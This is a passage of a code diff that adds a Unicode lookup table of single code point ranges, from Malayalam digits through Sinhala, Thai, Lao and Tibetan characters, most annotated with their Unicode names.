+ [0xd68, 0xd68], /* MALAYALAM DIGIT TWO */
+ [0xd69, 0xd69], /* MALAYALAM DIGIT THREE */
+ [0xd6a, 0xd6a], /* MALAYALAM DIGIT FOUR */
+ [0xd6b, 0xd6b], /* MALAYALAM DIGIT FIVE */
+ [0xd6c, 0xd6c], /* MALAYALAM DIGIT SIX */
+ [0xd6d, 0xd6d], /* MALAYALAM DIGIT SEVEN */
+ [0xd6e, 0xd6e], /* MALAYALAM DIGIT EIGHT */
+ [0xd6f, 0xd6f], /* MALAYALAM DIGIT NINE */
+ [0xd70, 0xd70], /* MALAYALAM NUMBER TEN */
+ [0xd71, 0xd71], /* MALAYALAM NUMBER ONE HUNDRED */
+ [0xd72, 0xd72], /* MALAYALAM NUMBER ONE THOUSAND */
+ [0xd73, 0xd73], /* MALAYALAM FRACTION ONE QUARTER */
+ [0xd74, 0xd74], /* MALAYALAM FRACTION ONE HALF */
+ [0xd75, 0xd75], /* MALAYALAM FRACTION THREE QUARTERS */
+ [0xd76, 0xd76], /* MALAYALAM FRACTION ONE SIXTEENTH */
+ [0xd77, 0xd77], /* MALAYALAM FRACTION ONE EIGHTH */
+ [0xd78, 0xd78], /* MALAYALAM FRACTION THREE SIXTEENTHS */
+ [0xd79, 0xd79], /* MALAYALAM DATE MARK */
+ [0xd7a, 0xd7a], /* MALAYALAM LETTER CHILLU NN */
+ [0xd7b, 0xd7b], /* MALAYALAM LETTER CHILLU N */
+ [0xd7c, 0xd7c], /* MALAYALAM LETTER CHILLU RR */
+ [0xd7d, 0xd7d], /* MALAYALAM LETTER CHILLU L */
+ [0xd7e, 0xd7e], /* MALAYALAM LETTER CHILLU LL */
+ [0xd7f, 0xd7f], /* MALAYALAM LETTER CHILLU K */
+ [0xd80, 0xd80],
+ [0xd81, 0xd81],
+ [0xd82, 0xd82], /* SINHALA SIGN ANUSVARAYA */
+ [0xd83, 0xd83], /* SINHALA SIGN VISARGAYA */
+ [0xd84, 0xd84],
+ [0xd85, 0xd85], /* SINHALA LETTER AYANNA */
+ [0xd86, 0xd86], /* SINHALA LETTER AAYANNA */
+ [0xd87, 0xd87], /* SINHALA LETTER AEYANNA */
+ [0xd88, 0xd88], /* SINHALA LETTER AEEYANNA */
+ [0xd89, 0xd89], /* SINHALA LETTER IYANNA */
+ [0xd8a, 0xd8a], /* SINHALA LETTER IIYANNA */
+ [0xd8b, 0xd8b], /* SINHALA LETTER UYANNA */
+ [0xd8c, 0xd8c], /* SINHALA LETTER UUYANNA */
+ [0xd8d, 0xd8d], /* SINHALA LETTER IRUYANNA */
+ [0xd8e, 0xd8e], /* SINHALA LETTER IRUUYANNA */
+ [0xd8f, 0xd8f], /* SINHALA LETTER ILUYANNA */
+ [0xd90, 0xd90], /* SINHALA LETTER ILUUYANNA */
+ [0xd91, 0xd91], /* SINHALA LETTER EYANNA */
+ [0xd92, 0xd92], /* SINHALA LETTER EEYANNA */
+ [0xd93, 0xd93], /* SINHALA LETTER AIYANNA */
+ [0xd94, 0xd94], /* SINHALA LETTER OYANNA */
+ [0xd95, 0xd95], /* SINHALA LETTER OOYANNA */
+ [0xd96, 0xd96], /* SINHALA LETTER AUYANNA */
+ [0xd97, 0xd97],
+ [0xd98, 0xd98],
+ [0xd99, 0xd99],
+ [0xd9a, 0xd9a], /* SINHALA LETTER ALPAPRAANA KAYANNA */
+ [0xd9b, 0xd9b], /* SINHALA LETTER MAHAAPRAANA KAYANNA */
+ [0xd9c, 0xd9c], /* SINHALA LETTER ALPAPRAANA GAYANNA */
+ [0xd9d, 0xd9d], /* SINHALA LETTER MAHAAPRAANA GAYANNA */
+ [0xd9e, 0xd9e], /* SINHALA LETTER KANTAJA NAASIKYAYA */
+ [0xd9f, 0xd9f], /* SINHALA LETTER SANYAKA GAYANNA */
+ [0xda0, 0xda0], /* SINHALA LETTER ALPAPRAANA CAYANNA */
+ [0xda1, 0xda1], /* SINHALA LETTER MAHAAPRAANA CAYANNA */
+ [0xda2, 0xda2], /* SINHALA LETTER ALPAPRAANA JAYANNA */
+ [0xda3, 0xda3], /* SINHALA LETTER MAHAAPRAANA JAYANNA */
+ [0xda4, 0xda4], /* SINHALA LETTER TAALUJA NAASIKYAYA */
+ [0xda5, 0xda5], /* SINHALA LETTER TAALUJA SANYOOGA NAAKSIKYAYA */
+ [0xda6, 0xda6], /* SINHALA LETTER SANYAKA JAYANNA */
+ [0xda7, 0xda7], /* SINHALA LETTER ALPAPRAANA TTAYANNA */
+ [0xda8, 0xda8], /* SINHALA LETTER MAHAAPRAANA TTAYANNA */
+ [0xda9, 0xda9], /* SINHALA LETTER ALPAPRAANA DDAYANNA */
+ [0xdaa, 0xdaa], /* SINHALA LETTER MAHAAPRAANA DDAYANNA */
+ [0xdab, 0xdab], /* SINHALA LETTER MUURDHAJA NAYANNA */
+ [0xdac, 0xdac], /* SINHALA LETTER SANYAKA DDAYANNA */
+ [0xdad, 0xdad], /* SINHALA LETTER ALPAPRAANA TAYANNA */
+ [0xdae, 0xdae], /* SINHALA LETTER MAHAAPRAANA TAYANNA */
+ [0xdaf, 0xdaf], /* SINHALA LETTER ALPAPRAANA DAYANNA */
+ [0xdb0, 0xdb0], /* SINHALA LETTER MAHAAPRAANA DAYANNA */
+ [0xdb1, 0xdb1], /* SINHALA LETTER DANTAJA NAYANNA */
+ [0xdb2, 0xdb2],
+ [0xdb3, 0xdb3], /* SINHALA LETTER SANYAKA DAYANNA */
+ [0xdb4, 0xdb4], /* SINHALA LETTER ALPAPRAANA PAYANNA */
+ [0xdb5, 0xdb5], /* SINHALA LETTER MAHAAPRAANA PAYANNA */
+ [0xdb6, 0xdb6], /* SINHALA LETTER ALPAPRAANA BAYANNA */
+ [0xdb7, 0xdb7], /* SINHALA LETTER MAHAAPRAANA BAYANNA */
+ [0xdb8, 0xdb8], /* SINHALA LETTER MAYANNA */
+ [0xdb9, 0xdb9], /* SINHALA LETTER AMBA BAYANNA */
+ [0xdba, 0xdba], /* SINHALA LETTER YAYANNA */
+ [0xdbb, 0xdbb], /* SINHALA LETTER RAYANNA */
+ [0xdbc, 0xdbc],
+ [0xdbd, 0xdbd], /* SINHALA LETTER DANTAJA LAYANNA */
+ [0xdbe, 0xdbe],
+ [0xdbf, 0xdbf],
+ [0xdc0, 0xdc0], /* SINHALA LETTER VAYANNA */
+ [0xdc1, 0xdc1], /* SINHALA LETTER TAALUJA SAYANNA */
+ [0xdc2, 0xdc2], /* SINHALA LETTER MUURDHAJA SAYANNA */
+ [0xdc3, 0xdc3], /* SINHALA LETTER DANTAJA SAYANNA */
+ [0xdc4, 0xdc4], /* SINHALA LETTER HAYANNA */
+ [0xdc5, 0xdc5], /* SINHALA LETTER MUURDHAJA LAYANNA */
+ [0xdc6, 0xdc6], /* SINHALA LETTER FAYANNA */
+ [0xdc7, 0xdc7],
+ [0xdc8, 0xdc8],
+ [0xdc9, 0xdc9],
+ [0xdca, 0xdca], /* SINHALA SIGN AL-LAKUNA */
+ [0xdcb, 0xdcb],
+ [0xdcc, 0xdcc],
+ [0xdcd, 0xdcd],
+ [0xdce, 0xdce],
+ [0xdcf, 0xdcf], /* SINHALA VOWEL SIGN AELA-PILLA */
+ [0xdd0, 0xdd0], /* SINHALA VOWEL SIGN KETTI AEDA-PILLA */
+ [0xdd1, 0xdd1], /* SINHALA VOWEL SIGN DIGA AEDA-PILLA */
+ [0xdd2, 0xdd2], /* SINHALA VOWEL SIGN KETTI IS-PILLA */
+ [0xdd3, 0xdd3], /* SINHALA VOWEL SIGN DIGA IS-PILLA */
+ [0xdd4, 0xdd4], /* SINHALA VOWEL SIGN KETTI PAA-PILLA */
+ [0xdd5, 0xdd5],
+ [0xdd6, 0xdd6], /* SINHALA VOWEL SIGN DIGA PAA-PILLA */
+ [0xdd7, 0xdd7],
+ [0xdd8, 0xdd8], /* SINHALA VOWEL SIGN GAETTA-PILLA */
+ [0xdd9, 0xdd9], /* SINHALA VOWEL SIGN KOMBUVA */
+ [0xdda, 0xdda], /* SINHALA VOWEL SIGN DIGA KOMBUVA */
+ [0xddb, 0xddb], /* SINHALA VOWEL SIGN KOMBU DEKA */
+ [0xddc, 0xddc], /* SINHALA VOWEL SIGN KOMBUVA HAA AELA-PILLA */
+ [0xddd, 0xddd], /* SINHALA VOWEL SIGN KOMBUVA HAA DIGA AELA-PILLA */
+ [0xdde, 0xdde], /* SINHALA VOWEL SIGN KOMBUVA HAA GAYANUKITTA */
+ [0xddf, 0xddf], /* SINHALA VOWEL SIGN GAYANUKITTA */
+ [0xde0, 0xde0],
+ [0xde1, 0xde1],
+ [0xde2, 0xde2],
+ [0xde3, 0xde3],
+ [0xde4, 0xde4],
+ [0xde5, 0xde5],
+ [0xde6, 0xde6], /* SINHALA LITH DIGIT ZERO */
+ [0xde7, 0xde7], /* SINHALA LITH DIGIT ONE */
+ [0xde8, 0xde8], /* SINHALA LITH DIGIT TWO */
+ [0xde9, 0xde9], /* SINHALA LITH DIGIT THREE */
+ [0xdea, 0xdea], /* SINHALA LITH DIGIT FOUR */
+ [0xdeb, 0xdeb], /* SINHALA LITH DIGIT FIVE */
+ [0xdec, 0xdec], /* SINHALA LITH DIGIT SIX */
+ [0xded, 0xded], /* SINHALA LITH DIGIT SEVEN */
+ [0xdee, 0xdee], /* SINHALA LITH DIGIT EIGHT */
+ [0xdef, 0xdef], /* SINHALA LITH DIGIT NINE */
+ [0xdf0, 0xdf0],
+ [0xdf1, 0xdf1],
+ [0xdf2, 0xdf2], /* SINHALA VOWEL SIGN DIGA GAETTA-PILLA */
+ [0xdf3, 0xdf3], /* SINHALA VOWEL SIGN DIGA GAYANUKITTA */
+ [0xdf4, 0xdf4], /* SINHALA PUNCTUATION KUNDDALIYA */
+ [0xdf5, 0xdf5],
+ [0xdf6, 0xdf6],
+ [0xdf7, 0xdf7],
+ [0xdf8, 0xdf8],
+ [0xdf9, 0xdf9],
+ [0xdfa, 0xdfa],
+ [0xdfb, 0xdfb],
+ [0xdfc, 0xdfc],
+ [0xdfd, 0xdfd],
+ [0xdfe, 0xdfe],
+ [0xdff, 0xdff],
+ [0xe00, 0xe00],
+ [0xe01, 0xe01], /* THAI CHARACTER KO KAI (THAI LETTER KO KAI) */
+ [0xe02, 0xe02], /* THAI CHARACTER KHO KHAI (THAI LETTER KHO KHAI) */
+ [0xe03, 0xe03], /* THAI CHARACTER KHO KHUAT (THAI LETTER KHO KHUAT) */
+ [0xe04, 0xe04], /* THAI CHARACTER KHO KHWAI (THAI LETTER KHO KHWAI) */
+ [0xe05, 0xe05], /* THAI CHARACTER KHO KHON (THAI LETTER KHO KHON) */
+ [0xe06, 0xe06], /* THAI CHARACTER KHO RAKHANG (THAI LETTER KHO RAKHANG) */
+ [0xe07, 0xe07], /* THAI CHARACTER NGO NGU (THAI LETTER NGO NGU) */
+ [0xe08, 0xe08], /* THAI CHARACTER CHO CHAN (THAI LETTER CHO CHAN) */
+ [0xe09, 0xe09], /* THAI CHARACTER CHO CHING (THAI LETTER CHO CHING) */
+ [0xe0a, 0xe0a], /* THAI CHARACTER CHO CHANG (THAI LETTER CHO CHANG) */
+ [0xe0b, 0xe0b], /* THAI CHARACTER SO SO (THAI LETTER SO SO) */
+ [0xe0c, 0xe0c], /* THAI CHARACTER CHO CHOE (THAI LETTER CHO CHOE) */
+ [0xe0d, 0xe0d], /* THAI CHARACTER YO YING (THAI LETTER YO YING) */
+ [0xe0e, 0xe0e], /* THAI CHARACTER DO CHADA (THAI LETTER DO CHADA) */
+ [0xe0f, 0xe0f], /* THAI CHARACTER TO PATAK (THAI LETTER TO PATAK) */
+ [0xe10, 0xe10], /* THAI CHARACTER THO THAN (THAI LETTER THO THAN) */
+ [0xe11, 0xe11], /* THAI CHARACTER THO NANGMONTHO (THAI LETTER THO NANGMONTHO) */
+ [0xe12, 0xe12], /* THAI CHARACTER THO PHUTHAO (THAI LETTER THO PHUTHAO) */
+ [0xe13, 0xe13], /* THAI CHARACTER NO NEN (THAI LETTER NO NEN) */
+ [0xe14, 0xe14], /* THAI CHARACTER DO DEK (THAI LETTER DO DEK) */
+ [0xe15, 0xe15], /* THAI CHARACTER TO TAO (THAI LETTER TO TAO) */
+ [0xe16, 0xe16], /* THAI CHARACTER THO THUNG (THAI LETTER THO THUNG) */
+ [0xe17, 0xe17], /* THAI CHARACTER THO THAHAN (THAI LETTER THO THAHAN) */
+ [0xe18, 0xe18], /* THAI CHARACTER THO THONG (THAI LETTER THO THONG) */
+ [0xe19, 0xe19], /* THAI CHARACTER NO NU (THAI LETTER NO NU) */
+ [0xe1a, 0xe1a], /* THAI CHARACTER BO BAIMAI (THAI LETTER BO BAIMAI) */
+ [0xe1b, 0xe1b], /* THAI CHARACTER PO PLA (THAI LETTER PO PLA) */
+ [0xe1c, 0xe1c], /* THAI CHARACTER PHO PHUNG (THAI LETTER PHO PHUNG) */
+ [0xe1d, 0xe1d], /* THAI CHARACTER FO FA (THAI LETTER FO FA) */
+ [0xe1e, 0xe1e], /* THAI CHARACTER PHO PHAN (THAI LETTER PHO PHAN) */
+ [0xe1f, 0xe1f], /* THAI CHARACTER FO FAN (THAI LETTER FO FAN) */
+ [0xe20, 0xe20], /* THAI CHARACTER PHO SAMPHAO (THAI LETTER PHO SAMPHAO) */
+ [0xe21, 0xe21], /* THAI CHARACTER MO MA (THAI LETTER MO MA) */
+ [0xe22, 0xe22], /* THAI CHARACTER YO YAK (THAI LETTER YO YAK) */
+ [0xe23, 0xe23], /* THAI CHARACTER RO RUA (THAI LETTER RO RUA) */
+ [0xe24, 0xe24], /* THAI CHARACTER RU (THAI LETTER RU) */
+ [0xe25, 0xe25], /* THAI CHARACTER LO LING (THAI LETTER LO LING) */
+ [0xe26, 0xe26], /* THAI CHARACTER LU (THAI LETTER LU) */
+ [0xe27, 0xe27], /* THAI CHARACTER WO WAEN (THAI LETTER WO WAEN) */
+ [0xe28, 0xe28], /* THAI CHARACTER SO SALA (THAI LETTER SO SALA) */
+ [0xe29, 0xe29], /* THAI CHARACTER SO RUSI (THAI LETTER SO RUSI) */
+ [0xe2a, 0xe2a], /* THAI CHARACTER SO SUA (THAI LETTER SO SUA) */
+ [0xe2b, 0xe2b], /* THAI CHARACTER HO HIP (THAI LETTER HO HIP) */
+ [0xe2c, 0xe2c], /* THAI CHARACTER LO CHULA (THAI LETTER LO CHULA) */
+ [0xe2d, 0xe2d], /* THAI CHARACTER O ANG (THAI LETTER O ANG) */
+ [0xe2e, 0xe2e], /* THAI CHARACTER HO NOKHUK (THAI LETTER HO NOK HUK) */
+ [0xe2f, 0xe2f], /* THAI CHARACTER PAIYANNOI (THAI PAI YAN NOI) */
+ [0xe30, 0xe30], /* THAI CHARACTER SARA A (THAI VOWEL SIGN SARA A) */
+ [0xe31, 0xe31], /* THAI CHARACTER MAI HAN-AKAT (THAI VOWEL SIGN MAI HAN-AKAT) */
+ [0xe32, 0xe32], /* THAI CHARACTER SARA AA (THAI VOWEL SIGN SARA AA) */
+ [0xe33, 0xe33], /* THAI CHARACTER SARA AM (THAI VOWEL SIGN SARA AM) */
+ [0xe34, 0xe34], /* THAI CHARACTER SARA I (THAI VOWEL SIGN SARA I) */
+ [0xe35, 0xe35], /* THAI CHARACTER SARA II (THAI VOWEL SIGN SARA II) */
+ [0xe36, 0xe36], /* THAI CHARACTER SARA UE (THAI VOWEL SIGN SARA UE) */
+ [0xe37, 0xe37], /* THAI CHARACTER SARA UEE (THAI VOWEL SIGN SARA UEE) */
+ [0xe38, 0xe38], /* THAI CHARACTER SARA U (THAI VOWEL SIGN SARA U) */
+ [0xe39, 0xe39], /* THAI CHARACTER SARA UU (THAI VOWEL SIGN SARA UU) */
+ [0xe3a, 0xe3a], /* THAI CHARACTER PHINTHU (THAI VOWEL SIGN PHINTHU) */
+ [0xe3b, 0xe3b],
+ [0xe3c, 0xe3c],
+ [0xe3d, 0xe3d],
+ [0xe3e, 0xe3e],
+ [0xe3f, 0xe3f], /* THAI CURRENCY SYMBOL BAHT (THAI BAHT SIGN) */
+ [0xe40, 0xe40], /* THAI CHARACTER SARA E (THAI VOWEL SIGN SARA E) */
+ [0xe41, 0xe41], /* THAI CHARACTER SARA AE (THAI VOWEL SIGN SARA AE) */
+ [0xe42, 0xe42], /* THAI CHARACTER SARA O (THAI VOWEL SIGN SARA O) */
+ [0xe43, 0xe43], /* THAI CHARACTER SARA AI MAIMUAN (THAI VOWEL SIGN SARA MAI MUAN) */
+ [0xe44, 0xe44], /* THAI CHARACTER SARA AI MAIMALAI (THAI VOWEL SIGN SARA MAI MALAI) */
+ [0xe45, 0xe45], /* THAI CHARACTER LAKKHANGYAO (THAI LAK KHANG YAO) */
+ [0xe46, 0xe46], /* THAI CHARACTER MAIYAMOK (THAI MAI YAMOK) */
+ [0xe47, 0xe47], /* THAI CHARACTER MAITAIKHU (THAI VOWEL SIGN MAI TAI KHU) */
+ [0xe48, 0xe48], /* THAI CHARACTER MAI EK (THAI TONE MAI EK) */
+ [0xe49, 0xe49], /* THAI CHARACTER MAI THO (THAI TONE MAI THO) */
+ [0xe4a, 0xe4a], /* THAI CHARACTER MAI TRI (THAI TONE MAI TRI) */
+ [0xe4b, 0xe4b], /* THAI CHARACTER MAI CHATTAWA (THAI TONE MAI CHATTAWA) */
+ [0xe4c, 0xe4c], /* THAI CHARACTER THANTHAKHAT (THAI THANTHAKHAT) */
+ [0xe4d, 0xe4d], /* THAI CHARACTER NIKHAHIT (THAI NIKKHAHIT) */
+ [0xe4e, 0xe4e], /* THAI CHARACTER YAMAKKAN (THAI YAMAKKAN) */
+ [0xe4f, 0xe4f], /* THAI CHARACTER FONGMAN (THAI FONGMAN) */
+ [0xe50, 0xe50], /* THAI DIGIT ZERO */
+ [0xe51, 0xe51], /* THAI DIGIT ONE */
+ [0xe52, 0xe52], /* THAI DIGIT TWO */
+ [0xe53, 0xe53], /* THAI DIGIT THREE */
+ [0xe54, 0xe54], /* THAI DIGIT FOUR */
+ [0xe55, 0xe55], /* THAI DIGIT FIVE */
+ [0xe56, 0xe56], /* THAI DIGIT SIX */
+ [0xe57, 0xe57], /* THAI DIGIT SEVEN */
+ [0xe58, 0xe58], /* THAI DIGIT EIGHT */
+ [0xe59, 0xe59], /* THAI DIGIT NINE */
+ [0xe5a, 0xe5a], /* THAI CHARACTER ANGKHANKHU (THAI ANGKHANKHU) */
+ [0xe5b, 0xe5b], /* THAI CHARACTER KHOMUT (THAI KHOMUT) */
+ [0xe5c, 0xe5c],
+ [0xe5d, 0xe5d],
+ [0xe5e, 0xe5e],
+ [0xe5f, 0xe5f],
+ [0xe60, 0xe60],
+ [0xe61, 0xe61],
+ [0xe62, 0xe62],
+ [0xe63, 0xe63],
+ [0xe64, 0xe64],
+ [0xe65, 0xe65],
+ [0xe66, 0xe66],
+ [0xe67, 0xe67],
+ [0xe68, 0xe68],
+ [0xe69, 0xe69],
+ [0xe6a, 0xe6a],
+ [0xe6b, 0xe6b],
+ [0xe6c, 0xe6c],
+ [0xe6d, 0xe6d],
+ [0xe6e, 0xe6e],
+ [0xe6f, 0xe6f],
+ [0xe70, 0xe70],
+ [0xe71, 0xe71],
+ [0xe72, 0xe72],
+ [0xe73, 0xe73],
+ [0xe74, 0xe74],
+ [0xe75, 0xe75],
+ [0xe76, 0xe76],
+ [0xe77, 0xe77],
+ [0xe78, 0xe78],
+ [0xe79, 0xe79],
+ [0xe7a, 0xe7a],
+ [0xe7b, 0xe7b],
+ [0xe7c, 0xe7c],
+ [0xe7d, 0xe7d],
+ [0xe7e, 0xe7e],
+ [0xe7f, 0xe7f],
+ [0xe80, 0xe80],
+ [0xe81, 0xe81], /* LAO LETTER KO */
+ [0xe82, 0xe82], /* LAO LETTER KHO SUNG */
+ [0xe83, 0xe83],
+ [0xe84, 0xe84], /* LAO LETTER KHO TAM */
+ [0xe85, 0xe85],
+ [0xe86, 0xe86],
+ [0xe87, 0xe87], /* LAO LETTER NGO */
+ [0xe88, 0xe88], /* LAO LETTER CO */
+ [0xe89, 0xe89],
+ [0xe8a, 0xe8a], /* LAO LETTER SO TAM */
+ [0xe8b, 0xe8b],
+ [0xe8c, 0xe8c],
+ [0xe8d, 0xe8d], /* LAO LETTER NYO */
+ [0xe8e, 0xe8e],
+ [0xe8f, 0xe8f],
+ [0xe90, 0xe90],
+ [0xe91, 0xe91],
+ [0xe92, 0xe92],
+ [0xe93, 0xe93],
+ [0xe94, 0xe94], /* LAO LETTER DO */
+ [0xe95, 0xe95], /* LAO LETTER TO */
+ [0xe96, 0xe96], /* LAO LETTER THO SUNG */
+ [0xe97, 0xe97], /* LAO LETTER THO TAM */
+ [0xe98, 0xe98],
+ [0xe99, 0xe99], /* LAO LETTER NO */
+ [0xe9a, 0xe9a], /* LAO LETTER BO */
+ [0xe9b, 0xe9b], /* LAO LETTER PO */
+ [0xe9c, 0xe9c], /* LAO LETTER PHO SUNG */
+ [0xe9d, 0xe9d], /* LAO LETTER FO TAM */
+ [0xe9e, 0xe9e], /* LAO LETTER PHO TAM */
+ [0xe9f, 0xe9f], /* LAO LETTER FO SUNG */
+ [0xea0, 0xea0],
+ [0xea1, 0xea1], /* LAO LETTER MO */
+ [0xea2, 0xea2], /* LAO LETTER YO */
+ [0xea3, 0xea3], /* LAO LETTER LO LING */
+ [0xea4, 0xea4],
+ [0xea5, 0xea5], /* LAO LETTER LO LOOT */
+ [0xea6, 0xea6],
+ [0xea7, 0xea7], /* LAO LETTER WO */
+ [0xea8, 0xea8],
+ [0xea9, 0xea9],
+ [0xeaa, 0xeaa], /* LAO LETTER SO SUNG */
+ [0xeab, 0xeab], /* LAO LETTER HO SUNG */
+ [0xeac, 0xeac],
+ [0xead, 0xead], /* LAO LETTER O */
+ [0xeae, 0xeae], /* LAO LETTER HO TAM */
+ [0xeaf, 0xeaf], /* LAO ELLIPSIS */
+ [0xeb0, 0xeb0], /* LAO VOWEL SIGN A */
+ [0xeb1, 0xeb1], /* LAO VOWEL SIGN MAI KAN */
+ [0xeb2, 0xeb2], /* LAO VOWEL SIGN AA */
+ [0xeb3, 0xeb3], /* LAO VOWEL SIGN AM */
+ [0xeb4, 0xeb4], /* LAO VOWEL SIGN I */
+ [0xeb5, 0xeb5], /* LAO VOWEL SIGN II */
+ [0xeb6, 0xeb6], /* LAO VOWEL SIGN Y */
+ [0xeb7, 0xeb7], /* LAO VOWEL SIGN YY */
+ [0xeb8, 0xeb8], /* LAO VOWEL SIGN U */
+ [0xeb9, 0xeb9], /* LAO VOWEL SIGN UU */
+ [0xeba, 0xeba],
+ [0xebb, 0xebb], /* LAO VOWEL SIGN MAI KON */
+ [0xebc, 0xebc], /* LAO SEMIVOWEL SIGN LO */
+ [0xebd, 0xebd], /* LAO SEMIVOWEL SIGN NYO */
+ [0xebe, 0xebe],
+ [0xebf, 0xebf],
+ [0xec0, 0xec0], /* LAO VOWEL SIGN E */
+ [0xec1, 0xec1], /* LAO VOWEL SIGN EI */
+ [0xec2, 0xec2], /* LAO VOWEL SIGN O */
+ [0xec3, 0xec3], /* LAO VOWEL SIGN AY */
+ [0xec4, 0xec4], /* LAO VOWEL SIGN AI */
+ [0xec5, 0xec5],
+ [0xec6, 0xec6], /* LAO KO LA */
+ [0xec7, 0xec7],
+ [0xec8, 0xec8], /* LAO TONE MAI EK */
+ [0xec9, 0xec9], /* LAO TONE MAI THO */
+ [0xeca, 0xeca], /* LAO TONE MAI TI */
+ [0xecb, 0xecb], /* LAO TONE MAI CATAWA */
+ [0xecc, 0xecc], /* LAO CANCELLATION MARK */
+ [0xecd, 0xecd], /* LAO NIGGAHITA */
+ [0xece, 0xece],
+ [0xecf, 0xecf],
+ [0xed0, 0xed0], /* LAO DIGIT ZERO */
+ [0xed1, 0xed1], /* LAO DIGIT ONE */
+ [0xed2, 0xed2], /* LAO DIGIT TWO */
+ [0xed3, 0xed3], /* LAO DIGIT THREE */
+ [0xed4, 0xed4], /* LAO DIGIT FOUR */
+ [0xed5, 0xed5], /* LAO DIGIT FIVE */
+ [0xed6, 0xed6], /* LAO DIGIT SIX */
+ [0xed7, 0xed7], /* LAO DIGIT SEVEN */
+ [0xed8, 0xed8], /* LAO DIGIT EIGHT */
+ [0xed9, 0xed9], /* LAO DIGIT NINE */
+ [0xeda, 0xeda],
+ [0xedb, 0xedb],
+ [0xedc, 0xedc], /* LAO HO NO */
+ [0xedd, 0xedd], /* LAO HO MO */
+ [0xede, 0xede], /* LAO LETTER KHMU GO */
+ [0xedf, 0xedf], /* LAO LETTER KHMU NYO */
+ [0xee0, 0xee0],
+ [0xee1, 0xee1],
+ [0xee2, 0xee2],
+ [0xee3, 0xee3],
+ [0xee4, 0xee4],
+ [0xee5, 0xee5],
+ [0xee6, 0xee6],
+ [0xee7, 0xee7],
+ [0xee8, 0xee8],
+ [0xee9, 0xee9],
+ [0xeea, 0xeea],
+ [0xeeb, 0xeeb],
+ [0xeec, 0xeec],
+ [0xeed, 0xeed],
+ [0xeee, 0xeee],
+ [0xeef, 0xeef],
+ [0xef0, 0xef0],
+ [0xef1, 0xef1],
+ [0xef2, 0xef2],
+ [0xef3, 0xef3],
+ [0xef4, 0xef4],
+ [0xef5, 0xef5],
+ [0xef6, 0xef6],
+ [0xef7, 0xef7],
+ [0xef8, 0xef8],
+ [0xef9, 0xef9],
+ [0xefa, 0xefa],
+ [0xefb, 0xefb],
+ [0xefc, 0xefc],
+ [0xefd, 0xefd],
+ [0xefe, 0xefe],
+ [0xeff, 0xeff],
+ [0xf00, 0xf00], /* TIBETAN SYLLABLE OM */
+ [0xf01, 0xf01], /* TIBETAN MARK GTER YIG MGO TRUNCATED A */
+ [0xf02, 0xf02], /* TIBETAN MARK GTER YIG MGO -UM RNAM BCAD MA */
+ [0xf03, 0xf03], /* TIBETAN MARK GTER YIG MGO -UM GTER TSHEG MA */
+ [0xf04, 0xf04], /* TIBETAN MARK INITIAL YIG MGO MDUN MA (TIBETAN SINGLE ORNAMENT) */
+ [0xf05, 0xf05], /* TIBETAN MARK CLOSING YIG MGO SGAB MA */
+ [0xf06, 0xf06], /* TIBETAN MARK CARET YIG MGO PHUR SHAD MA */
+ [0xf07, 0xf07], /* TIBETAN MARK YIG MGO TSHEG SHAD MA */
+ [0xf08, 0xf08], /* TIBETAN MARK SBRUL SHAD (TIBETAN RGYANSHAD) */
+ [0xf09, 0xf09], /* TIBETAN MARK BSKUR YIG MGO */
+ [0xf0a, 0xf0a], /* TIBETAN MARK BKA- SHOG YIG MGO */
+ [0xf0b, 0xf0b], /* TIBETAN MARK INTERSYLLABIC TSHEG (TIBETAN TSEG) */
+ [0xf0c, 0xf0c], /* TIBETAN MARK DELIMITER TSHEG BSTAR */
+ [0xf0d, 0xf0d], /* TIBETAN MARK SHAD (TIBETAN SHAD) */
+ [0xf0e, 0xf0e], /* TIBETAN MARK NYIS SHAD (TIBETAN DOUBLE SHAD) */
+ [0xf0f, 0xf0f], /* TIBETAN MARK TSHEG SHAD */
+ [0xf10, 0xf10], /* TIBETAN MARK NYIS TSHEG SHAD */
+ [0xf11, 0xf11], /* TIBETAN MARK RIN CHEN SPUNGS SHAD (TIBETAN RINCHANPHUNGSHAD) */
+ [0xf12, 0xf12], /* TIBETAN MARK RGYA GRAM SHAD */
+ [0xf13, 0xf13], /* TIBETAN MARK CARET -DZUD RTAGS ME LONG CAN */
+ [0xf14, 0xf14], /* TIBETAN MARK GTER TSHEG (TIBETAN COMMA) */
+ [0xf15, 0xf15], /* TIBETAN LOGOTYPE SIGN CHAD RTAGS */
+ [0xf16, 0xf16], /* TIBETAN LOGOTYPE SIGN LHAG RTAGS */
+ [0xf17, 0xf17], /* TIBETAN ASTROLOGICAL SIGN SGRA GCAN -CHAR RTAGS */
+ [0xf18, 0xf18], /* TIBETAN ASTROLOGICAL SIGN -KHYUD PA */
+ [0xf19, 0xf19], /* TIBETAN ASTROLOGICAL SIGN SDONG TSHUGS */
+ [0xf1a, 0xf1a], /* TIBETAN SIGN RDEL DKAR GCIG */
+ [0xf1b, 0xf1b], /* TIBETAN SIGN RDEL DKAR GNYIS */
+ [0xf1c, 0xf1c], /* TIBETAN SIGN RDEL DKAR GSUM */
+ [0xf1d, 0xf1d], /* TIBETAN SIGN RDEL NAG GCIG */
+ [0xf1e, 0xf1e], /* TIBETAN SIGN RDEL NAG GNYIS */
+ [0xf1f, 0xf1f], /* TIBETAN SIGN RDEL DKAR RDEL NAG */
+ [0xf20, 0xf20], /* TIBETAN DIGIT ZERO */
+ [0xf21, 0xf21], /* TIBETAN DIGIT ONE */
+ [0xf22, 0xf22], /* TIBETAN DIGIT TWO */
+ [0xf23, 0xf23], /* TIBETAN DIGIT THREE */
+ [0xf24, 0xf24], /* TIBETAN DIGIT FOUR */
+ [0xf25, 0xf25], /* TIBETAN DIGIT FIVE */
+ [0xf26, 0xf26], /* TIBETAN DIGIT SIX */
+ [0xf27, 0xf27], /* TIBETAN DIGIT SEVEN */
+ [0xf28, 0xf28], /* TIBETAN DIGIT EIGHT */
+ [0xf29, 0xf29], /* TIBETAN DIGIT NINE */
+ [0xf2a, 0xf2a], /* TIBETAN DIGIT HALF ONE */
+ [0xf2b, 0xf2b], /* TIBETAN DIGIT HALF TWO */
+ [0xf2c, 0xf2c], /* TIBETAN DIGIT HALF THREE */
+ [0xf2d, 0xf2d], /* TIBETAN DIGIT HALF FOUR */
+ [0xf2e, 0xf2e], /* TIBETAN DIGIT HALF FIVE */
+ [0xf2f, 0xf2f], /* TIBETAN DIGIT HALF SIX */
+ [0xf30, 0xf30], /* TIBETAN DIGIT HALF SEVEN */
+ [0xf31, 0xf31], /* TIBETAN DIGIT HALF EIGHT */
+ [0xf32, 0xf32], /* TIBETAN DIGIT HALF NINE */
